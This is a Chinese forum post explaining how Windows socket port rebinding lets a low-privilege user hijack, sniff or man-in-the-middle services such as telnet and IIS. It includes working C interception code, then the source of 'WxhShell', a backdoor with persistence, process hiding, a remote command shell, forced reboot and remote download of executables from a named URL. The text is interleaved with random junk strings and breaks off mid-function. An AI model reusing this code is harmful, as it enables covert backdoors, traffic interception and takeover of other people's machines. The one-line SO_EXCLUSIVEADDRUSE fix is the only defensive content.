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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;w}ZI<ou  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /NMd GKr  
7=Ew[MOmM  
  saddr.sin_family = AF_INET; Vyu0OiGcR  
qD7# q]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )z2Tm4>iql  
$-jj%x\}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <,HdX,5  
`fY~Lv{4d_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bkLm]n3  
ZK{VQ~  
  这意味着什么?意味着可以进行如下的攻击: w[~$.FM/  
@m1vB!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Rkw)IdB  
~ NK w}6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [@uL)*o_#  
j'X]bd'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8QXxRD;0:  
u"?cmg<.1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .FXq4who  
) $#ov-]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bF|j%If%  
Ip4CC'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7'J}|m{7  
_udH(NC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `.#e4 FBW  
Q<;f-9q @  
  #include ]+ XgH #I  
  #include TStu)6%`  
  #include 2%rAf8=  
  #include    kzbgy)PK3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &t+03c8g!  
  int main() .B6$U>>NS^  
  { O<)"k j 7  
  WORD wVersionRequested; |9?67-  
  DWORD ret; HulN84  
  WSADATA wsaData; =zK7`5  
  BOOL val; Y"K7$+5#\  
  SOCKADDR_IN saddr; p*-o33Ve  
  SOCKADDR_IN scaddr; u;F++$=  
  int err; q/6d^&  
  SOCKET s; /H:'(W_b;  
  SOCKET sc; gk>A  
  int caddsize; <fJoHS  
  HANDLE mt; ZgcA[P  
  DWORD tid;   di "rvw;R  
  wVersionRequested = MAKEWORD( 2, 2 ); n,wLk./`  
  err = WSAStartup( wVersionRequested, &wsaData ); R1! {,*Gy  
  if ( err != 0 ) { pV=X  
  printf("error!WSAStartup failed!\n"); Vx~[;*{,C9  
  return -1; "o*F$7D!  
  } (=j]fnH?  
  saddr.sin_family = AF_INET; Y 'Yoc  
   /E2/3z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E@}t1!E<  
erdWGUfQOe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `|8)A)ZVT  
  saddr.sin_port = htons(23); S =U*is  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %A,4vLe~6  
  { l-Xxur5M'  
  printf("error!socket failed!\n"); R.Ao%VT  
  return -1; )|x) KY  
  } $*Njvr7  
  val = TRUE; xm6=l".%z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ReE6h\j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aW$sd)  
  { $A`D p{e"  
  printf("error!setsockopt failed!\n"); l`:M/z6"  
  return -1; SaH0YxnY+  
  } (%rO'X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HpiP"Sl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6 wYd)MDLL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k#_B^J&d  
I8d#AVF2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2ro4{^(_  
  { QmT L-  
  ret=GetLastError(); _8vq]|rC  
  printf("error!bind failed!\n"); :EJ+#  
  return -1; V:4]]z L}  
  } N?eWf +C  
  listen(s,2); ycg5S rg  
  while(1) Vahfz8~w/  
  { X-|Lg.s  
  caddsize = sizeof(scaddr); `f,SY  
  //接受连接请求 ~e~iCyW;S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FaYDa  
  if(sc!=INVALID_SOCKET) I'{-T=R-q  
  { Cb~_{$A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ijOUv6=-  
  if(mt==NULL) 494"-F6  
  { 9^h0D}#@  
  printf("Thread Creat Failed!\n"); L=nyloz,0  
  break; GD<xmuo  
  } n dgG1v%  
  } -.~Dhk  
  CloseHandle(mt); bnt>j0E  
  } ZT:&j4A|0  
  closesocket(s); ~:~-AXaMT  
  WSACleanup(); o(Yj[:+m  
  return 0; {hr>m,O%  
  }   >0z(+}]3z  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4 8l!P(>?y  
  { Pb 4%" 9`  
  SOCKET ss = (SOCKET)lpParam; #q 'J`BC  
  SOCKET sc; uH7 $/  
  unsigned char buf[4096]; Hg(%g T  
  SOCKADDR_IN saddr; ;WxE0Q:!~  
  long num; .\K0+b;  
  DWORD val; V+myGsr`  
  DWORD ret; 3@P 2]Q~D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =oz$uD}?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EUZ#o\6  
  saddr.sin_family = AF_INET; oKjQ? 4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BM9J/24  
  saddr.sin_port = htons(23); Khp`KPxz%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OP>rEUtj  
  { jI:5[. Y  
  printf("error!socket failed!\n"); 8L]em&871  
  return -1; f'._{"  
  } 0h^&`H:  
  val = 100; EF1aw2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r/E'#5 Q  
  { qXC>D Gy  
  ret = GetLastError(); 1 XsB  
  return -1; M{M>$pt   
  } cYHHCaCS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Fy~DsQ  
  { X 633.]+  
  ret = GetLastError(); x`:zC#  
  return -1; V}de|=  
  } p1^k4G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DLMM1 A  
  { |oCE7'BaP  
  printf("error!socket connect failed!\n"); rm}OVL  
  closesocket(sc); qRy<W  
  closesocket(ss); \Nd8,hE  
  return -1; b|_Pt  
  } 9[# 9cv  
  while(1) h,QC#Ak o  
  { H$GJpXIb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s'/b&Idf8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )q#1C]7m*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wCT. (d_  
  num = recv(ss,buf,4096,0); /*,hR>UG  
  if(num>0) u!wR  
  send(sc,buf,num,0); @nIoYT='  
  else if(num==0) w=]id'`?q  
  break; ~{- zj  
  num = recv(sc,buf,4096,0); "zpc)'$ L=  
  if(num>0) )q xZHV  
  send(ss,buf,num,0); R`%C]uG  
  else if(num==0) !yxb=>A  
  break; ib$_x:OO"  
  } 1$1s 0yg  
  closesocket(ss); jV:Krk6T<  
  closesocket(sc); <~wr;"S  
  return 0 ; %OS}BAh^i  
  } 1D@'uApi.  
`|9NxF+  
btb$C  
========================================================== Na6z1&wS  
x+1Cs$E;  
下边附上一个代码,,WXhSHELL s+9q`k^  
L?[NXLn+  
========================================================== 8v eG^o  
Atdr|2  
#include "stdafx.h" Sxn#  
m*'^*#  
#include <stdio.h> K chp%  
#include <string.h> 6 GL.bS  
#include <windows.h> 6xDYEvHS  
#include <winsock2.h> eN]AJ%Ig  
#include <winsvc.h> ED0Vlw+1  
#include <urlmon.h> PAYbsn  
gG^A6Ol%D  
#pragma comment (lib, "Ws2_32.lib") <o JM||ZA  
#pragma comment (lib, "urlmon.lib") ]Tv0+ Ao  
LYYz =gvZl  
#define MAX_USER   100 // 最大客户端连接数 cM'\u~m{  
#define BUF_SOCK   200 // sock buffer |@Cx%aEKU  
#define KEY_BUFF   255 // 输入 buffer Rv-`6eyAA  
w+,Kpb<x[0  
#define REBOOT     0   // 重启 % s|` 1`c  
#define SHUTDOWN   1   // 关机 LIm{Y`XU  
]6:|-x:m  
#define DEF_PORT   5000 // 监听端口 8mrB_B5  
yJyovfJz.  
#define REG_LEN     16   // 注册表键长度 {>x6SVF  
#define SVC_LEN     80   // NT服务名长度 *y6zwe !M  
NVt612/'7y  
// 从dll定义API DQ#rZi3I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ! 06 !`LT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pJnT \~o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bSG}I|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \B72 # NR  
{ :^;byd  
// wxhshell配置信息 qdss(LZ  
struct WSCFG { ( o(,;  
  int ws_port;         // 监听端口 <./r%3$;7  
  char ws_passstr[REG_LEN]; // 口令 ]U4)2s  
  int ws_autoins;       // 安装标记, 1=yes 0=no PG51+#  
  char ws_regname[REG_LEN]; // 注册表键名 u!]g^r  
  char ws_svcname[REG_LEN]; // 服务名 V:YN!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t\GoUeH]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j3W)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \/wbk`2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yF [|dB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Go$OQ`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x>C_O\  
ryC7O'j_P  
}; Ba8 s  
|.ZYY(}  
// default Wxhshell configuration Ro2Ab^rQ|  
struct WSCFG wscfg={DEF_PORT, qcmf*Yl:v  
    "xuhuanlingzhe", {E 'go]  
    1, =%i~HDiy  
    "Wxhshell", EC:u;2f!  
    "Wxhshell", )R+26wZ|n*  
            "WxhShell Service", EF8~rKO3  
    "Wrsky Windows CmdShell Service", VZhHO d  
    "Please Input Your Password: ", B$\,l.h E  
  1, ]Yw/}GKB  
  "http://www.wrsky.com/wxhshell.exe", ]ChGi[B~9  
  "Wxhshell.exe" +46m~" ]  
    }; (m~gG|n4  
j%q,]HCANh  
// 消息定义模块 crDm2oA~t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c}-WK*v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %v"qFYVX"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =O.%)|  
char *msg_ws_ext="\n\rExit."; +YX *.dW  
char *msg_ws_end="\n\rQuit."; b}-/~l-:  
char *msg_ws_boot="\n\rReboot..."; &{R]v/{p]  
char *msg_ws_poff="\n\rShutdown..."; x%`.L6rj  
char *msg_ws_down="\n\rSave to "; W3gBLotdg  
1y{@fg~..  
char *msg_ws_err="\n\rErr!"; Qt~QJJN?oF  
char *msg_ws_ok="\n\rOK!"; S9;:)  
Py! F  
char ExeFile[MAX_PATH]; (p1}i::Y8  
int nUser = 0; ;+Sc Vz  
HANDLE handles[MAX_USER]; HX`>" ?{  
int OsIsNt; o-ee3j.  
k@Q>(`  
SERVICE_STATUS       serviceStatus; jTh^#Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y@#rGV>  
a*N<gId  
// 函数声明 hLo>jE  
int Install(void); Ir4M5OR\  
int Uninstall(void); T!ik"YZ@i  
int DownloadFile(char *sURL, SOCKET wsh);  TNj WZ  
int Boot(int flag); 7,!$lT#  
void HideProc(void); _yu_Ev}R  
int GetOsVer(void); `9vCl@"IV  
int Wxhshell(SOCKET wsl); &f"kWOe$X  
void TalkWithClient(void *cs); OGGuVY  
int CmdShell(SOCKET sock); 0Vwl\,7z9  
int StartFromService(void); b'mp$lt!  
int StartWxhshell(LPSTR lpCmdLine); 8)m  
^;DbIo\6H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,^m;[Dl7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J69B1Yi  
M!Wjfq ^~  
// 数据结构和表定义 nu!tk$Q  
SERVICE_TABLE_ENTRY DispatchTable[] = '>aj5tZ>R  
{ 47 |&(,{  
{wscfg.ws_svcname, NTServiceMain}, &"/IV$H  
{NULL, NULL}  #-^y9B  
}; rD*CLq K  
`ZLA=oD  
// 自我安装 4)OM58e}  
int Install(void) %7n(>em  
{ OLh QS_D  
  char svExeFile[MAX_PATH]; # ZcFxB6)  
  HKEY key; n| [RXpAp3  
  strcpy(svExeFile,ExeFile); =zX A0%  
/2jw]ekQ'  
// 如果是win9x系统,修改注册表设为自启动 3B6"T;_  
if(!OsIsNt) { TQiDbgFo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'H|=]n0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U|YIu!^  
  RegCloseKey(key); kE*OjywN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YLAGTH0.]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |`c=`xK7'  
  RegCloseKey(key); r_?il]l  
  return 0; xJ[Xmre  
    } - )brq3L  
  } k2t#O%_f  
} [;*Vm0>t  
else { q7-.-k<dQ  
[pgld9To  
// 如果是NT以上系统,安装为系统服务 +~]:oj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GJB= 5nE  
if (schSCManager!=0) +i1\],7  
{ 0*umf .R  
  SC_HANDLE schService = CreateService qt&zo5  
  ( Rd|xw%R\mb  
  schSCManager, dX vp-oi  
  wscfg.ws_svcname, cJQ&#u  
  wscfg.ws_svcdisp, v<SCh)[-p  
  SERVICE_ALL_ACCESS, @c{rqa v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tMQz'3,X  
  SERVICE_AUTO_START, IP e"9xb  
  SERVICE_ERROR_NORMAL, 4Bc<  
  svExeFile, kV$$GLD\  
  NULL, &:MfLD J  
  NULL, Zv8I`/4?  
  NULL, )VoQ/ch<  
  NULL, !/|^ )d^U  
  NULL hD I}V 1)  
  ); Bx&F*a;5  
  if (schService!=0) ~3F\7%Iqc  
  { z')zV oW,  
  CloseServiceHandle(schService); ]0yYMnqvr  
  CloseServiceHandle(schSCManager); LG6k KG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UvPD/qu$8D  
  strcat(svExeFile,wscfg.ws_svcname); u>U4w68  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KE k]<b=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cHO8%xu`  
  RegCloseKey(key); 4X^{aIlshk  
  return 0; =O?#>3A}  
    } tq^d1b(j4  
  } 2*<'=*zaQ  
  CloseServiceHandle(schSCManager); FJj #  
} ^%<t^sE  
} YKZk/m&H  
n$S`NNO{]  
return 1;  :Ky *AI  
} q%Fc?d9  
!;1$1xWK  
// 自我卸载 3-T}8VsiP  
int Uninstall(void) 7KzMa%=  
{ !Ui"<0[,  
  HKEY key; zJJ6"9sl  
<m|\#Jw_V  
if(!OsIsNt) { <P"4Mk7`s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kQY+D1  
  RegDeleteValue(key,wscfg.ws_regname); .{@aQwN  
  RegCloseKey(key); eyLVu.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;C+g)BW  
  RegDeleteValue(key,wscfg.ws_regname); d*A(L5;@  
  RegCloseKey(key); %j=xLV\  
  return 0; Z_F}Y2-w9  
  } s, 8a1o  
} yQXHEB  
} S _B $-H|  
else { rq.S0bzH  
W?B(Jsv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ca!=D $  
if (schSCManager!=0) -q-/0d<l  
{ h6Vm;{ ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); guC7!P^  
  if (schService!=0) Jrkj foN  
  { )38M~/ ^l  
  if(DeleteService(schService)!=0) { T|c9Swu r  
  CloseServiceHandle(schService); > WsRCBA  
  CloseServiceHandle(schSCManager); 1YklPMx6  
  return 0; ]757oAXl  
  } &!kr &g#]  
  CloseServiceHandle(schService); JBsHr%!i  
  } onuhNn_=>  
  CloseServiceHandle(schSCManager); Pc*+QtQ  
} l]s,CX  
} Wy'H4Rg8  
 pzMli ^  
return 1; B>11  
} p$5+^x'(  
|^ao,3h#  
// 从指定url下载文件 6L~tUe.G  
int DownloadFile(char *sURL, SOCKET wsh) W|PKcZ ]Uc  
{ LZCziW  
  HRESULT hr; f&\v+'[p  
char seps[]= "/"; <V3N!H_d  
char *token; ydNcbF%K  
char *file; j]#-DIL  
char myURL[MAX_PATH]; NY5?T0/[  
char myFILE[MAX_PATH]; \gh`P S-B  
z k[%YG&  
strcpy(myURL,sURL);  [>'P  
  token=strtok(myURL,seps); ]Y3|*t(\  
  while(token!=NULL) *N0R3da  
  { Om% 9 x  
    file=token; uM8YY[b  
  token=strtok(NULL,seps); dz',!|>  
  } (]|rxmycA  
y: 0j$%^  
GetCurrentDirectory(MAX_PATH,myFILE); TB]B l.  
strcat(myFILE, "\\"); k-LB %\p  
strcat(myFILE, file); w,\#)<boyb  
  send(wsh,myFILE,strlen(myFILE),0); 4MVa[ 0Y  
send(wsh,"...",3,0); }ST9&w i~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t} E 1NXW  
  if(hr==S_OK) R~,*W1G6sF  
return 0; {YCquoF  
else d1c_F~h<  
return 1; y[*Bw)F\N  
OBF2?[V~  
} silTL_$  
H1PW/AW  
// 系统电源模块 5@$b@jTd  
int Boot(int flag) )fz)Rrr  
{ H)$-T1Wx4  
  HANDLE hToken; PrIS L[@  
  TOKEN_PRIVILEGES tkp; $1N_qu  
I$4GM  
  if(OsIsNt) { dkuB{C,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y ?FKou'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [@OXvdTV  
    tkp.PrivilegeCount = 1; N\IdZX%u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cvpcadN[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a;eV&~  
if(flag==REBOOT) { k`W.tMo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K9FtFd  
  return 0; &|7pu=  
} ,z1X{  
else { n&=3Knbd@d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j+:q:6=  
  return 0; 1(`>9t02/?  
} 7d?'~}j  
  } 00'R1q4  
  else { T<\Q4Coth  
if(flag==REBOOT) { 9l?#ZuGXp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vLW&/YJ6  
  return 0; DCv~^  
} D +/27#  
else { 6elmLDMni\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NAjK0]SRY  
  return 0; ]<mXf~zg  
} _f%Wk>A4  
} mh>)N"  
q9w6 6R  
return 1; 'G3B02*  
} %N@454enH  
MoN;t;  
// win9x进程隐藏模块 GMLq3_'  
void HideProc(void) g4<w6eB  
{ a DuO!?Cm  
-tWkN^j8+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q_'3}:4  
  if ( hKernel != NULL ) |HXI4 MU"  
  { /"+ n{*9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5An| #^]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MV5'&" ,oB  
    FreeLibrary(hKernel); r#wMd9])  
  } 4flyV -  
r# 5))q-  
return; ]%m0PU#  
} 2xH9O{  
` /JJ\`Pu  
// 获取操作系统版本 QIVpO /@  
int GetOsVer(void) /w{DyHT  
{ KK`P<^8J  
  OSVERSIONINFO winfo; g5/%}8[- 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =NwmhV  
  GetVersionEx(&winfo); g?!vR id@S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P& C,EE$  
  return 1; TjGe8L:  
  else ~sk;6e)(2  
  return 0; v bzeabm  
} 9:CJl6~N)#  
?c0OrvM  
// 客户端句柄模块 "| V{@)!t  
int Wxhshell(SOCKET wsl) ,Khhu%$  
{ 703=.xj  
  SOCKET wsh; (nfra,'  
  struct sockaddr_in client; cMOvM0f  
  DWORD myID; ysD @yM,  
FLdO  
  while(nUser<MAX_USER) 68?oV)fE  
{ L+2!Sc,>  
  int nSize=sizeof(client); w V&{w7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sL|lfc'bB  
  if(wsh==INVALID_SOCKET) return 1; %\PnsnJ9Q  
Okm&b g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b2c% 0C  
if(handles[nUser]==0) 8>a/x,  
  closesocket(wsh); Vt{C80n&N  
else /9dV!u!;  
  nUser++; 5(bG  
  } ,?i^i#Wqzg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F4X/ )$Dk  
;hR!j!3}  
  return 0; `84pql,  
} )3v0ex@Jl  
X&DuX %x0  
// 关闭 socket *9e T#dH  
void CloseIt(SOCKET wsh) jfF,:(P%W  
{ tVQfR*=  
closesocket(wsh); \W;~[-"#  
nUser--; zMb7a_W  
ExitThread(0); 6'ye-}vD-  
} eU_|.2  
NWPL18*C  
// 客户端请求句柄 Ga~N7  
void TalkWithClient(void *cs) Us.yKAHPV  
{ 2#&9qGR  
E } |g3  
  SOCKET wsh=(SOCKET)cs; g(<02t!OT=  
  char pwd[SVC_LEN]; AWC zu5ve  
  char cmd[KEY_BUFF]; 5P{dey!  
char chr[1]; WpC@ nz?  
int i,j; J]ivIQ  
At%g^  
  while (nUser < MAX_USER) { USu/Y29  
#C|:]moe  
if(wscfg.ws_passstr) { _m;cX!+~_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A=|LMJMWR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gdnk1_D>  
  //ZeroMemory(pwd,KEY_BUFF); pr>Qu:  
      i=0; M]!\X6<_  
  while(i<SVC_LEN) { y=YD4m2W  
LfyycC2E  
  // 设置超时 DU$]e1  
  fd_set FdRead; 3?Y%|ZVM  
  struct timeval TimeOut; _6THyj$f  
  FD_ZERO(&FdRead); C.@R#a'  
  FD_SET(wsh,&FdRead); X obiF  
  TimeOut.tv_sec=8; O]w&uim  
  TimeOut.tv_usec=0; 6k"Wy3/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r S/Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %^^2  
wM(!9Ws3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TJ7on.;  
  pwd=chr[0]; VZYd CZ&l7  
  if(chr[0]==0xd || chr[0]==0xa) { ih2H~c>O  
  pwd=0; :Y y+%  
  break; wQb")3dw  
  } >!A&@1[M  
  i++; 9?gLi!rd  
    } ItQIM#  
^C>i(j&  
  // 如果是非法用户,关闭 socket NWwfNb>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _]1dm)%  
} A)040n  
7u,56V?X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u%a2"G|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j9%u&  
Po&gr@e.V  
while(1) { $ePAsJ  
z1f~:AdL  
  ZeroMemory(cmd,KEY_BUFF); t?28s/?  
Y {Klwn   
      // 自动支持客户端 telnet标准   ho#] ?Z#  
  j=0; P^v`5v  
  while(j<KEY_BUFF) { =w".B[r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +%eMm.(  
  cmd[j]=chr[0]; WXNJc  
  if(chr[0]==0xa || chr[0]==0xd) { %&Z!-k(  
  cmd[j]=0; 9XF+? x  
  break; #E5#{bra  
  } "pdG%$  
  j++; {#=q[jVi%1  
    } itX<!  
vBj{bnl  
  // 下载文件 e.\d7_T+  
  if(strstr(cmd,"http://")) { W=mh*G3y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |6`yE]3 -(  
  if(DownloadFile(cmd,wsh)) +q) ^pCC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]WN|K  
  else vwZ2kk!|i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~?E x?!\9R  
  } W)<us?5Ec5  
  else { nXb;&n%  
& @^|=>L  
    switch(cmd[0]) { O9p8x2  
  1 W2AE?  
  // 帮助 VZb0x)w  
  case '?': { ocAoqjlT[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mcb0%  
    break; oVb6,Pn  
  } ,S:g 5n>M  
  // 安装 }c| Xr^  
  case 'i': { x V~`sqf  
    if(Install()) b0tr)>d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8D)*~C'85E  
    else e {N8|l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`RcfYt  
    break; syv6" 2Z'B  
    } fi:Z*-  
  // 卸载 p/cVQ  
  case 'r': { JdfjOlEb  
    if(Uninstall()) fE|([ ` !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (lwkg8WC  
    else _E:]qv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); or]8;eQ?  
    break; :a0qm.EN  
    } ]. IUQ*4t  
  // 显示 wxhshell 所在路径 Y2yVl+  
  case 'p': { @PU%BKe  
    char svExeFile[MAX_PATH]; fN?HF'7V  
    strcpy(svExeFile,"\n\r"); )`,3/i9C$  
      strcat(svExeFile,ExeFile); %=]~5a9  
        send(wsh,svExeFile,strlen(svExeFile),0); V!DQ_T+a  
    break; 7 H.2]X  
    } #QXB2x<*  
  // 重启 BQ)zm  
  case 'b': { 3O:Z;YP:<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n3g3(} Q0  
    if(Boot(REBOOT)) hJkIFyQ{j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8qrE<RHU@  
    else { /V2Ih  
    closesocket(wsh); R8W{[@  
    ExitThread(0); Ih{(d O;  
    } bs kG!w  
    break; t1 OnA#]/_  
    } /U`"Xx  
  // 关机 "/(J*)%{  
  case 'd': { ss-{l+Z5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f*0[[J0]  
    if(Boot(SHUTDOWN)) *=$Jv1"Q +  
